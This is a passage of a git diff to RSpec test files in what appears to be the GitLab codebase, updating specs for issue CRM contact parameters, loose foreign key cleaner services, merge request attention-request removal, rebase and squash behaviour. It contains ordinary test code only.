+ add_contacts: [contact.email]
}
end
before_all do
- project.add_maintainer(user)
+ group.add_maintainer(user)
project.add_maintainer(assignee)
end
- it 'assigns and sets milestone to issuable from command' do
+ it 'assigns, sets milestone, and sets contact to issuable from command' do
expect(issue).to be_persisted
expect(issue.assignees).to eq([assignee])
expect(issue.milestone).to eq(milestone)
+ expect(issue.issue_customer_relations_contacts.last.contact).to eq(contact)
end
end
end
diff --git a/spec/services/issues/set_crm_contacts_service_spec.rb b/spec/services/issues/set_crm_contacts_service_spec.rb
index 65b22fe3b35..628f70efad6 100644
--- a/spec/services/issues/set_crm_contacts_service_spec.rb
+++ b/spec/services/issues/set_crm_contacts_service_spec.rb
@@ -22,13 +22,13 @@ RSpec.describe Issues::SetCrmContactsService do
describe '#execute' do
context 'when the user has no permission' do
- let(:params) { { crm_contact_ids: [contacts[1].id, contacts[2].id] } }
+ let(:params) { { replace_ids: [contacts[1].id, contacts[2].id] } }
it 'returns expected error response' do
response = set_crm_contacts
expect(response).to be_error
- expect(response.message).to match_array(['You have insufficient permissions to set customer relations contacts for this issue'])
+ expect(response.message).to eq('You have insufficient permissions to set customer relations contacts for this issue')
end
end
@@ -38,20 +38,20 @@ RSpec.describe Issues::SetCrmContactsService do
end
context 'when the contact does not exist' do
- let(:params) { { crm_contact_ids: [non_existing_record_id] } }
+ let(:params) { { replace_ids: [non_existing_record_id] } }
it 'returns expected error response' do
response = set_crm_contacts
expect(response).to be_error
- expect(response.message).to match_array(["Issue customer relations contacts #{non_existing_record_id}: #{does_not_exist_or_no_permission}"])
+ expect(response.message).to eq("Issue customer relations contacts #{non_existing_record_id}: #{does_not_exist_or_no_permission}")
end
end
context 'when the contact belongs to a different group' do
let(:group2) { create(:group) }
let(:contact) { create(:contact, group: group2) }
- let(:params) { { crm_contact_ids: [contact.id] } }
+ let(:params) { { replace_ids: [contact.id] } }
before do
group2.add_reporter(user)
@@ -61,12 +61,12 @@ RSpec.describe Issues::SetCrmContactsService do
response = set_crm_contacts
expect(response).to be_error
- expect(response.message).to match_array(["Issue customer relations contacts #{contact.id}: #{does_not_exist_or_no_permission}"])
+ expect(response.message).to eq("Issue customer relations contacts #{contact.id}: #{does_not_exist_or_no_permission}")
end
end
context 'replace' do
- let(:params) { { crm_contact_ids: [contacts[1].id, contacts[2].id] } }
+ let(:params) { { replace_ids: [contacts[1].id, contacts[2].id] } }
it 'updates the issue with correct contacts' do
response = set_crm_contacts
@@ -77,7 +77,18 @@ RSpec.describe Issues::SetCrmContactsService do
end
context 'add' do
- let(:params) { { add_crm_contact_ids: [contacts[3].id] } }
+ let(:params) { { add_ids: [contacts[3].id] } }
+
+ it 'updates the issue with correct contacts' do
+ response = set_crm_contacts
+
+ expect(response).to be_success
+ expect(issue.customer_relations_contacts).to match_array([contacts[0], contacts[1], contacts[3]])
+ end
+ end
+
+ context 'add by email' do
+ let(:params) { { add_emails: [contacts[3].email] } }
it 'updates the issue with correct contacts' do
response = set_crm_contacts
@@ -88,7 +99,18 @@ RSpec.describe Issues::SetCrmContactsService do
end
context 'remove' do
- let(:params) { { remove_crm_contact_ids: [contacts[0].id] } }
+ let(:params) { { remove_ids: [contacts[0].id] } }
+
+ it 'updates the issue with correct contacts' do
+ response = set_crm_contacts
+
+ expect(response).to be_success
+ expect(issue.customer_relations_contacts).to match_array([contacts[1]])
+ end
+ end
+
+ context 'remove by email' do
+ let(:params) { { remove_emails: [contacts[0].email] } }
it 'updates the issue with correct contacts' do
response = set_crm_contacts
@@ -100,18 +122,18 @@ RSpec.describe Issues::SetCrmContactsService do
context 'when attempting to add more than 6' do
let(:id) { contacts[0].id }
- let(:params) { { add_crm_contact_ids: [id, id, id, id, id, id, id] } }
+ let(:params) { { add_ids: [id, id, id, id, id, id, id] } }
it 'returns expected error message' do
response = set_crm_contacts
expect(response).to be_error
- expect(response.message).to match_array(['You can only add up to 6 contacts at one time'])
+ expect(response.message).to eq('You can only add up to 6 contacts at one time')
end
end
context 'when trying to remove non-existent contact' do
- let(:params) { { remove_crm_contact_ids: [non_existing_record_id] } }
+ let(:params) { { remove_ids: [non_existing_record_id] } }
it 'returns expected error message' do
response = set_crm_contacts
@@ -122,10 +144,10 @@ RSpec.describe Issues::SetCrmContactsService do
end
context 'when combining params' do
- let(:error_invalid_params) { 'You cannot combine crm_contact_ids with add_crm_contact_ids or remove_crm_contact_ids' }
+ let(:error_invalid_params) { 'You cannot combine replace_ids with add_ids or remove_ids' }
context 'add and remove' do
- let(:params) { { remove_crm_contact_ids: [contacts[1].id], add_crm_contact_ids: [contacts[3].id] } }
+ let(:params) { { remove_ids: [contacts[1].id], add_ids: [contacts[3].id] } }
it 'updates the issue with correct contacts' do
response = set_crm_contacts
@@ -136,27 +158,57 @@ RSpec.describe Issues::SetCrmContactsService do
end
context 'replace and remove' do
- let(:params) { { crm_contact_ids: [contacts[3].id], remove_crm_contact_ids: [contacts[0].id] } }
+ let(:params) { { replace_ids: [contacts[3].id], remove_ids: [contacts[0].id] } }
it 'returns expected error response' do
response = set_crm_contacts
expect(response).to be_error
- expect(response.message).to match_array([error_invalid_params])
+ expect(response.message).to eq(error_invalid_params)
end
end
context 'replace and add' do
- let(:params) { { crm_contact_ids: [contacts[3].id], add_crm_contact_ids: [contacts[1].id] } }
+ let(:params) { { replace_ids: [contacts[3].id], add_ids: [contacts[1].id] } }
it 'returns expected error response' do
response = set_crm_contacts
expect(response).to be_error
- expect(response.message).to match_array([error_invalid_params])
+ expect(response.message).to eq(error_invalid_params)
end
end
end
+
+ context 'when trying to add an existing issue contact' do
+ let(:params) { { add_ids: [contacts[0].id] } }
+
+ it 'does not return an error' do
+ response = set_crm_contacts
+
+ expect(response).to be_success
+ end
+ end
+
+ context 'when trying to add the same contact twice' do
+ let(:params) { { add_ids: [contacts[3].id, contacts[3].id] } }
+
+ it 'does not return an error' do
+ response = set_crm_contacts
+
+ expect(response).to be_success
+ end
+ end
+
+ context 'when trying to remove a contact not attached to the issue' do
+ let(:params) { { remove_ids: [contacts[3].id] } }
+
+ it 'does not return an error' do
+ response = set_crm_contacts
+
+ expect(response).to be_success
+ end
+ end
end
end
end
diff --git a/spec/services/issues/update_service_spec.rb b/spec/services/issues/update_service_spec.rb
index 85b8fef685e..4739b7e0f28 100644
--- a/spec/services/issues/update_service_spec.rb
+++ b/spec/services/issues/update_service_spec.rb
@@ -29,6 +29,8 @@ RSpec.describe Issues::UpdateService, :mailer do
end
describe 'execute' do
+ let_it_be(:contact) { create(:contact, group: group) }
+
def find_note(starting_with)
issue.notes.find do |note|
note && note.note.start_with?(starting_with)
@@ -57,7 +59,8 @@ RSpec.describe Issues::UpdateService, :mailer do
due_date: Date.tomorrow,
discussion_locked: true,
severity: 'low',
- milestone_id: milestone.id
+ milestone_id: milestone.id,
+ add_contacts: [contact.email]
}
end
@@ -76,6 +79,7 @@ RSpec.describe Issues::UpdateService, :mailer do
expect(issue.discussion_locked).to be_truthy
expect(issue.confidential).to be_falsey
expect(issue.milestone).to eq milestone
+ expect(issue.issue_customer_relations_contacts.last.contact).to eq contact
end
it 'updates issue milestone when passing `milestone` param' do
@@ -319,7 +323,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).not_to receive(:perform_async)
+ expect(Issues::RebalancingWorker).not_to receive(:perform_async)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
@@ -335,7 +339,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
@@ -349,7 +353,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
@@ -363,7 +367,7 @@ RSpec.describe Issues::UpdateService, :mailer do
opts[:move_between_ids] = [issue1.id, issue2.id]
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, nil, project.root_namespace.id)
update_issue(opts)
expect(issue.relative_position).to be_between(issue1.relative_position, issue2.relative_position)
diff --git a/spec/services/loose_foreign_keys/batch_cleaner_service_spec.rb b/spec/services/loose_foreign_keys/batch_cleaner_service_spec.rb
index bdb3d0f6700..d3d57ea2444 100644
--- a/spec/services/loose_foreign_keys/batch_cleaner_service_spec.rb
+++ b/spec/services/loose_foreign_keys/batch_cleaner_service_spec.rb
@@ -21,33 +21,34 @@ RSpec.describe LooseForeignKeys::BatchCleanerService do
migration.track_record_deletions(:_test_loose_fk_parent_table)
end
- let(:parent_model) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_parent_table'
-
- include LooseForeignKey
-
- loose_foreign_key :_test_loose_fk_child_table_1, :parent_id, on_delete: :async_delete
- loose_foreign_key :_test_loose_fk_child_table_2, :parent_id_with_different_column, on_delete: :async_nullify
- end
- end
-
- let(:child_model_1) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_child_table_1'
- end
- end
-
- let(:child_model_2) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_child_table_2'
- end
+ let(:loose_foreign_key_definitions) do
+ [
+ ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ '_test_loose_fk_child_table_1',
+ '_test_loose_fk_parent_table',
+ {
+ column: 'parent_id',
+ on_delete: :async_delete,
+ gitlab_schema: :gitlab_main
+ }
+ ),
+ ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ '_test_loose_fk_child_table_2',
+ '_test_loose_fk_parent_table',
+ {
+ column: 'parent_id_with_different_column',
+ on_delete: :async_nullify,
+ gitlab_schema: :gitlab_main
+ }
+ )
+ ]
end
+ let(:loose_fk_parent_table) { table(:_test_loose_fk_parent_table) }
let(:loose_fk_child_table_1) { table(:_test_loose_fk_child_table_1) }
let(:loose_fk_child_table_2) { table(:_test_loose_fk_child_table_2) }
- let(:parent_record_1) { parent_model.create! }
- let(:other_parent_record) { parent_model.create! }
+ let(:parent_record_1) { loose_fk_parent_table.create! }
+ let(:other_parent_record) { loose_fk_parent_table.create! }
before(:all) do
create_table_structure
@@ -87,12 +88,10 @@ RSpec.describe LooseForeignKeys::BatchCleanerService do
expect(loose_fk_child_table_1.count).to eq(4)
expect(loose_fk_child_table_2.count).to eq(4)
- described_class.new(parent_klass: parent_model,
- deleted_parent_records: LooseForeignKeys::DeletedRecord.status_pending.all,
- models_by_table_name: {
- '_test_loose_fk_child_table_1' => child_model_1,
- '_test_loose_fk_child_table_2' => child_model_2
- }).execute
+ described_class.new(parent_table: '_test_loose_fk_parent_table',
+ loose_foreign_key_definitions: loose_foreign_key_definitions,
+ deleted_parent_records: LooseForeignKeys::DeletedRecord.load_batch_for_table('public._test_loose_fk_parent_table', 100)
+ ).execute
end
it 'cleans up the child records' do
@@ -108,7 +107,7 @@ RSpec.describe LooseForeignKeys::BatchCleanerService do
it 'records the DeletedRecord status updates', :prometheus do
counter = Gitlab::Metrics.registry.get(:loose_foreign_key_processed_deleted_records)
- expect(counter.get(table: parent_model.table_name, db_config_name: 'main')).to eq(1)
+ expect(counter.get(table: loose_fk_parent_table.table_name, db_config_name: 'main')).to eq(1)
end
it 'does not delete unrelated records' do
diff --git a/spec/services/loose_foreign_keys/cleaner_service_spec.rb b/spec/services/loose_foreign_keys/cleaner_service_spec.rb
index 6f37ac49435..2cfd8385953 100644
--- a/spec/services/loose_foreign_keys/cleaner_service_spec.rb
+++ b/spec/services/loose_foreign_keys/cleaner_service_spec.rb
@@ -13,21 +13,21 @@ RSpec.describe LooseForeignKeys::CleanerService do
let(:loose_fk_definition) do
ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
- 'projects',
'issues',
+ 'projects',
{
column: 'project_id',
- on_delete: :async_nullify
+ on_delete: :async_nullify,
+ gitlab_schema: :gitlab_main
}
)
end
subject(:cleaner_service) do
described_class.new(
- model: Issue,
- foreign_key_definition: loose_fk_definition,
- deleted_parent_records: deleted_records
- )
+ loose_foreign_key_definition: loose_fk_definition,
+ connection: ApplicationRecord.connection,
+ deleted_parent_records: deleted_records)
end
context 'when invalid foreign key definition is passed' do
@@ -80,11 +80,12 @@ RSpec.describe LooseForeignKeys::CleanerService do
let(:loose_fk_definition) do
ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
- 'users',
'project_authorizations',
+ 'users',
{
column: 'user_id',
- on_delete: :async_delete
+ on_delete: :async_delete,
+ gitlab_schema: :gitlab_main
}
)
end
@@ -97,8 +98,8 @@ RSpec.describe LooseForeignKeys::CleanerService do
subject(:cleaner_service) do
described_class.new(
- model: ProjectAuthorization,
- foreign_key_definition: loose_fk_definition,
+ loose_foreign_key_definition: loose_fk_definition,
+ connection: ApplicationRecord.connection,
deleted_parent_records: deleted_records
)
end
@@ -130,8 +131,8 @@ RSpec.describe LooseForeignKeys::CleanerService do
context 'when with_skip_locked parameter is true' do
subject(:cleaner_service) do
described_class.new(
- model: Issue,
- foreign_key_definition: loose_fk_definition,
+ loose_foreign_key_definition: loose_fk_definition,
+ connection: ApplicationRecord.connection,
deleted_parent_records: deleted_records,
with_skip_locked: true
)
diff --git a/spec/services/members/create_service_spec.rb b/spec/services/members/create_service_spec.rb
index fe866d73215..13f56fe7458 100644
--- a/spec/services/members/create_service_spec.rb
+++ b/spec/services/members/create_service_spec.rb
@@ -127,85 +127,11 @@ RSpec.describe Members::CreateService, :aggregate_failures, :clean_gitlab_redis_
end
end
- context 'when tracking the areas of focus', :snowplow do
- context 'when areas_of_focus is not passed' do
- it 'does not track' do
- execute_service
-
- expect_no_snowplow_event(category: described_class.name, action: 'area_of_focus')
- end
- end
-
- context 'when 1 areas_of_focus is passed' do
- let(:additional_params) { { invite_source: '_invite_source_', areas_of_focus: ['no_selection'] } }
-
- it 'tracks the areas_of_focus from params' do
- execute_service
-
- expect_snowplow_event(
- category: described_class.name,
- action: 'area_of_focus',
- label: 'no_selection',
- property: source.members.last.id.to_s
- )
- end
-
- context 'when passing many user ids' do
- let(:another_user) { create(:user) }
- let(:user_ids) { [member.id, another_user.id].join(',') }
-
- it 'tracks the areas_of_focus from params' do
- execute_service
-
- members = source.members.last(2)
-
- expect_snowplow_event(
- category: described_class.name,
- action: 'area_of_focus',
- label: 'no_selection',
- property: members.first.id.to_s
- )
- expect_snowplow_event(
- category: described_class.name,
- action: 'area_of_focus',
- label: 'no_selection',
- property: members.last.id.to_s
- )
- end
- end
- end
-
- context 'when multiple areas_of_focus are passed' do
- let(:additional_params) { { invite_source: '_invite_source_', areas_of_focus: %w[no_selection Other] } }
-
- it 'tracks the areas_of_focus from params' do
- execute_service
-
- expect_snowplow_event(
- category: described_class.name,
- action: 'area_of_focus',
- label: 'no_selection',
- property: source.members.last.id.to_s
- )
- expect_snowplow_event(
- category: described_class.name,
- action: 'area_of_focus',
- label: 'Other',
- property: source.members.last.id.to_s
- )
- end
- end
- end
-
context 'when assigning tasks to be done' do
let(:additional_params) do
{ invite_source: '_invite_source_', tasks_to_be_done: %w(ci code), tasks_project_id: source.id }
end
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
it 'creates 2 task issues', :aggregate_failures do
expect(TasksToBeDone::CreateWorker)
.to receive(:perform_async)
diff --git a/spec/services/merge_requests/after_create_service_spec.rb b/spec/services/merge_requests/after_create_service_spec.rb
index cbbd193a411..781be57d709 100644
--- a/spec/services/merge_requests/after_create_service_spec.rb
+++ b/spec/services/merge_requests/after_create_service_spec.rb
@@ -85,13 +85,67 @@ RSpec.describe MergeRequests::AfterCreateService do
context 'when merge request is in preparing state' do
before do
+ merge_request.mark_as_unchecked! unless merge_request.unchecked?
merge_request.mark_as_preparing!
- execute_service
end
it 'marks the merge request as unchecked' do
+ execute_service
+
expect(merge_request.reload).to be_unchecked
end
+
+ context 'when preparing for mergeability fails' do
+ before do
+ # This is only one of the possible cases that can fail. This is to
+ # simulate a failure that happens during the service call.
+ allow(merge_request)
+ .to receive(:update_head_pipeline)
+ .and_raise(StandardError)
+ end
+
+ it 'does not mark the merge request as unchecked' do
+ expect { execute_service }.to raise_error(StandardError)
+ expect(merge_request.reload).to be_preparing
+ end
+
+ context 'when early_prepare_for_mergeability feature flag is disabled' do
+ before do
+ stub_feature_flags(early_prepare_for_mergeability: false)
+ end
+
+ it 'does not mark the merge request as unchecked' do
+ expect { execute_service }.to raise_error(StandardError)
+ expect(merge_request.reload).to be_preparing
+ end
+ end
+ end
+
+ context 'when preparing merge request fails' do
+ before do
+ # This is only one of the possible cases that can fail. This is to
+ # simulate a failure that happens during the service call.
+ allow(merge_request)
+ .to receive_message_chain(:diffs, :write_cache)
+ .and_raise(StandardError)
+ end
+
+ it 'still marks the merge request as unchecked' do
+ expect { execute_service }.to raise_error(StandardError)
+ expect(merge_request.reload).to be_unchecked
+ end
+
+ context 'when early_prepare_for_mergeability feature flag is disabled' do
+ before do
+ stub_feature_flags(early_prepare_for_mergeability: false)
+ end
+
+ it 'does not mark the merge request as unchecked' do
+ expect { execute_service }.to raise_error(StandardError)
+ expect(merge_request.reload).to be_preparing
+ end
+ end
+ end
end
it 'increments the usage data counter of create event' do
diff --git a/spec/services/merge_requests/approval_service_spec.rb b/spec/services/merge_requests/approval_service_spec.rb
index d30b2721a36..4d20d62b864 100644
--- a/spec/services/merge_requests/approval_service_spec.rb
+++ b/spec/services/merge_requests/approval_service_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe MergeRequests::ApprovalService do
describe '#execute' do
let(:user) { create(:user) }
- let(:merge_request) { create(:merge_request) }
+ let(:merge_request) { create(:merge_request, reviewers: [user]) }
let(:project) { merge_request.project }
let!(:todo) { create(:todo, user: user, project: project, target: merge_request) }
@@ -59,6 +59,14 @@ RSpec.describe MergeRequests::ApprovalService do
service.execute(merge_request)
end
+ it 'removes attention requested state' do
+ expect(MergeRequests::RemoveAttentionRequestedService).to receive(:new)
+ .with(project: project, current_user: user, merge_request: merge_request, user: user)
+ .and_call_original
+
+ service.execute(merge_request)
+ end
+
context 'with remaining approvals' do
it 'fires an approval webhook' do
expect(service).to receive(:execute_hooks).with(merge_request, 'approved')
diff --git a/spec/services/merge_requests/bulk_remove_attention_requested_service_spec.rb b/spec/services/merge_requests/bulk_remove_attention_requested_service_spec.rb
new file mode 100644
index 00000000000..fe4ce0dab5e
--- /dev/null
+++ b/spec/services/merge_requests/bulk_remove_attention_requested_service_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::BulkRemoveAttentionRequestedService do
+ let(:current_user) { create(:user) }
+ let(:user) { create(:user) }
+ let(:assignee_user) { create(:user) }
+ let(:merge_request) { create(:merge_request, reviewers: [user], assignees: [assignee_user]) }
+ let(:reviewer) { merge_request.find_reviewer(user) }
+ let(:assignee) { merge_request.find_assignee(assignee_user) }
+ let(:project) { merge_request.project }
+ let(:service) { described_class.new(project: project, current_user: current_user, merge_request: merge_request) }
+ let(:result) { service.execute }
+
+ before do
+ project.add_developer(current_user)
+ project.add_developer(user)
+ end
+
+ describe '#execute' do
+ context 'invalid permissions' do
+ let(:service) { described_class.new(project: project, current_user: create(:user), merge_request: merge_request) }
+
+ it 'returns an error' do
+ expect(result[:status]).to eq :error
+ end
+ end
+
+ context 'updates reviewers and assignees' do
+ it 'returns success' do
+ expect(result[:status]).to eq :success
+ end
+
+ it 'updates reviewers state' do
+ service.execute
+ reviewer.reload
+ assignee.reload
+
+ expect(reviewer.state).to eq 'reviewed'
+ expect(assignee.state).to eq 'reviewed'
+ end
+ end
+ end
+end
diff --git a/spec/services/merge_requests/close_service_spec.rb b/spec/services/merge_requests/close_service_spec.rb
index 86d972bc516..d36a2f75cfe 100644
--- a/spec/services/merge_requests/close_service_spec.rb
+++ b/spec/services/merge_requests/close_service_spec.rb
@@ -54,6 +54,10 @@ RSpec.describe MergeRequests::CloseService do
expect(todo.reload).to be_done
end
+ it 'removes attention requested state' do
+ expect(merge_request.find_assignee(user2).attention_requested?).to eq(false)
+ end
+
context 'when auto merge is enabled' do
let(:merge_request) { create(:merge_request, :merge_when_pipeline_succeeds) }
diff --git a/spec/services/merge_requests/handle_assignees_change_service_spec.rb b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
index c43f5db6059..fa3b1614e21 100644
--- a/spec/services/merge_requests/handle_assignees_change_service_spec.rb
+++ b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
@@ -87,6 +87,14 @@ RSpec.describe MergeRequests::HandleAssigneesChangeService do
expect(todo).to be_pending
end
+ it 'removes attention requested state' do
+ expect(MergeRequests::RemoveAttentionRequestedService).to receive(:new)
+ .with(project: project, current_user: user, merge_request: merge_request, user: user)
+ .and_call_original
+
+ execute
+ end
+
it 'tracks users assigned event' do
expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
.to receive(:track_users_assigned_to_mr).once.with(users: [assignee])
diff --git a/spec/services/merge_requests/merge_service_spec.rb b/spec/services/merge_requests/merge_service_spec.rb
index e3f33304aab..127c94763d9 100644
--- a/spec/services/merge_requests/merge_service_spec.rb
+++ b/spec/services/merge_requests/merge_service_spec.rb
@@ -151,7 +151,7 @@ RSpec.describe MergeRequests::MergeService do
it 'closes GitLab issue tracker issues' do
issue = create :issue, project: project
- commit = instance_double('commit', safe_message: "Fixes #{issue.to_reference}", date: Time.current, authored_date: Time.current)
+ commit = double('commit', safe_message: "Fixes #{issue.to_reference}", date: Time.current, authored_date: Time.current)
allow(merge_request).to receive(:commits).and_return([commit])
merge_request.cache_merge_request_closes_issues!
diff --git a/spec/services/merge_requests/merge_to_ref_service_spec.rb b/spec/services/merge_requests/merge_to_ref_service_spec.rb
index 0a781aee704..19fac3b5095 100644
--- a/spec/services/merge_requests/merge_to_ref_service_spec.rb
+++ b/spec/services/merge_requests/merge_to_ref_service_spec.rb
@@ -150,7 +150,10 @@ RSpec.describe MergeRequests::MergeToRefService do
merge_request.update!(squash: true)
end
- it_behaves_like 'MergeService for target ref'
+ it_behaves_like 'successfully merges to ref with merge method' do
+ let(:first_parent_ref) { 'refs/heads/master' }
+ let(:target_ref) { merge_request.merge_ref_path }
+ end
it 'does not squash before merging' do
expect(MergeRequests::SquashService).not_to receive(:new)
diff --git a/spec/services/merge_requests/rebase_service_spec.rb b/spec/services/merge_requests/rebase_service_spec.rb
index ca561376581..e671bbf2cd6 100644
--- a/spec/services/merge_requests/rebase_service_spec.rb
+++ b/spec/services/merge_requests/rebase_service_spec.rb
@@ -80,6 +80,27 @@ RSpec.describe MergeRequests::RebaseService do
end
end
+ context 'with a pre-receive failure' do
+ let(:pre_receive_error) { "Commit message does not follow the pattern 'ACME'" }
+ let(:merge_error) { "Something went wrong during the rebase pre-receive hook: #{pre_receive_error}." }
+
+ before do
+ allow(repository).to receive(:gitaly_operation_client).and_raise(Gitlab::Git::PreReceiveError, "GitLab: #{pre_receive_error}")
+ end
+
+ it 'saves a specific message' do
+ subject.execute(merge_request)
+
+ expect(merge_request.reload.merge_error).to eq merge_error
+ end
+
+ it 'returns an error' do
+ expect(service.execute(merge_request)).to match(
+ status: :error,
+ message: merge_error)
+ end
+ end
+
context 'with git command failure' do
before do
allow(repository).to receive(:gitaly_operation_client).and_raise(Gitlab::Git::Repository::GitError, 'Something went wrong')
diff --git a/spec/services/merge_requests/remove_attention_requested_service_spec.rb b/spec/services/merge_requests/remove_attention_requested_service_spec.rb
new file mode 100644
index 00000000000..875afc2dc7e
--- /dev/null
+++ b/spec/services/merge_requests/remove_attention_requested_service_spec.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::RemoveAttentionRequestedService do
+ let(:current_user) { create(:user) }
+ let(:user) { create(:user) }
+ let(:assignee_user) { create(:user) }
+ let(:merge_request) { create(:merge_request, reviewers: [user], assignees: [assignee_user]) }
+ let(:reviewer) { merge_request.find_reviewer(user) }
+ let(:assignee) { merge_request.find_assignee(assignee_user) }
+ let(:project) { merge_request.project }
+ let(:service) { described_class.new(project: project, current_user: current_user, merge_request: merge_request, user: user) }
+ let(:result) { service.execute }
+
+ before do
+ project.add_developer(current_user)
+ project.add_developer(user)
+ end
+
+ describe '#execute' do
+ context 'invalid permissions' do
+ let(:service) { described_class.new(project: project, current_user: create(:user), merge_request: merge_request, user: user) }
+
+ it 'returns an error' do
+ expect(result[:status]).to eq :error
+ end
+ end
+
+ context 'reviewer does not exist' do
+ let(:service) { described_class.new(project: project, current_user: current_user, merge_request: merge_request, user: create(:user)) }
+
+ it 'returns an error' do
+ expect(result[:status]).to eq :error
+ end
+ end
+
+ context 'reviewer exists' do
+ it 'returns success' do
+ expect(result[:status]).to eq :success
+ end
+
+ it 'updates reviewers state' do
+ service.execute
+ reviewer.reload
+
+ expect(reviewer.state).to eq 'reviewed'
+ end
+ end
+
+ context 'assignee exists' do
+ let(:service) { described_class.new(project: project, current_user: current_user, merge_request: merge_request, user: assignee_user) }
+
+ before do
+ assignee.update!(state: :reviewed)
+ end
+
+ it 'returns success' do
+ expect(result[:status]).to eq :success
+ end
+
+ it 'updates assignees state' do
+ service.execute
+ assignee.reload
+
+ expect(assignee.state).to eq 'reviewed'
+ end
+ end
+
+ context 'assignee is the same as reviewer' do
+ let(:merge_request) { create(:merge_request, reviewers: [user], assignees: [user]) }
+ let(:service) { described_class.new(project: project, current_user: current_user, merge_request: merge_request, user: user) }
+ let(:assignee) { merge_request.find_assignee(user) }
+
+ it 'updates reviewers and assignees state' do
+ service.execute
+ reviewer.reload
+ assignee.reload
+
+ expect(reviewer.state).to eq 'reviewed'
+ expect(assignee.state).to eq 'reviewed'
+ end
+ end
+ end
+end
diff --git a/spec/services/merge_requests/resolved_discussion_notification_service_spec.rb b/spec/services/merge_requests/resolved_discussion_notification_service_spec.rb
index 74f3a1b06fc..2f191f2ee44 100644
--- a/spec/services/merge_requests/resolved_discussion_notification_service_spec.rb
+++ b/spec/services/merge_requests/resolved_discussion_notification_service_spec.rb
@@ -26,6 +26,12 @@ RSpec.describe MergeRequests::ResolvedDiscussionNotificationService do
subject.execute(merge_request)
end
+
+ it "doesn't send a webhook" do
+ expect_any_instance_of(MergeRequests::BaseService).not_to receive(:execute_hooks)
+
+ subject.execute(merge_request)
+ end
end
context "when all discussions are resolved" do
@@ -44,6 +50,12 @@ RSpec.describe MergeRequests::ResolvedDiscussionNotificationService do
subject.execute(merge_request)
end
+
+ it "sends a webhook" do
+ expect_any_instance_of(MergeRequests::BaseService).to receive(:execute_hooks).with(merge_request, 'update')
+
+ subject.execute(merge_request)
+ end
end
end
end
diff --git a/spec/services/merge_requests/squash_service_spec.rb b/spec/services/merge_requests/squash_service_spec.rb
index 09f83624e05..af48e8f5dae 100644
--- a/spec/services/merge_requests/squash_service_spec.rb
+++ b/spec/services/merge_requests/squash_service_spec.rb
@@ -55,18 +55,26 @@ RSpec.describe MergeRequests::SquashService do
expect(merge_request).to receive(:commits_count).at_least(:once).and_return(1)
end
- it 'will skip performing the squash, as the outcome would be the same' do
- expect(merge_request.target_project.repository).not_to receive(:squash)
+ it 'will still perform the squash' do
+ expect(merge_request.target_project.repository).to receive(:squash).and_return('sha')
service.execute
end
- it 'will still perform the squash when a custom squash commit message has been provided' do
- service = described_class.new(project: project, current_user: user, params: { merge_request: merge_request, squash_commit_message: 'A custom commit message' })
+ context 'when squash message matches commit message' do
+ let(:service) { described_class.new(project: project, current_user: user, params: { merge_request: merge_request, squash_commit_message: merge_request.first_commit.safe_message }) }
- expect(merge_request.target_project.repository).to receive(:squash).and_return('sha')
+ it 'returns that commit SHA' do
+ result = service.execute
- service.execute
+ expect(result).to match(status: :success, squash_sha: merge_request.diff_head_sha)
+ end
+
+ it 'does not perform any git actions' do
+ expect(repository).not_to receive(:squash)
+
+ service.execute
+ end
end
end
@@ -113,17 +121,7 @@ RSpec.describe MergeRequests::SquashService do
context 'when there is only one commit in the merge request' do
let(:merge_request) { merge_request_with_one_commit }
- it 'returns that commit SHA' do
- result = service.execute
-
- expect(result).to match(status: :success, squash_sha: merge_request.diff_head_sha)
- end
-
- it 'does not perform any git actions' do
- expect(repository).not_to receive(:popen)
-
- service.execute
- end
+ include_examples 'the squash succeeds'
end
context 'when squashing only new files' do
diff --git a/spec/services/merge_requests/toggle_attention_requested_service_spec.rb b/spec/services/merge_requests/toggle_attention_requested_service_spec.rb
index a26b1be529e..63fa61b8097 100644
--- a/spec/services/merge_requests/toggle_attention_requested_service_spec.rb
+++ b/spec/services/merge_requests/toggle_attention_requested_service_spec.rb
@@ -13,9 +13,14 @@ RSpec.describe MergeRequests::ToggleAttentionRequestedService do
let(:service) { described_class.new(project: project, current_user: current_user, merge_request: merge_request, user: user) }
let(:result) { service.execute }
let(:todo_service) { spy('todo service') }
+ let(:notification_service) { spy('notification service') }
before do
+ allow(NotificationService).to receive(:new) { notification_service }
allow(service).to receive(:todo_service).and_return(todo_service)
+ allow(service).to receive(:notification_service).and_return(notification_service)
+ allow(SystemNoteService).to receive(:request_attention)
+ allow(SystemNoteService).to receive(:remove_attention_request)
project.add_developer(current_user)
project.add_developer(user)
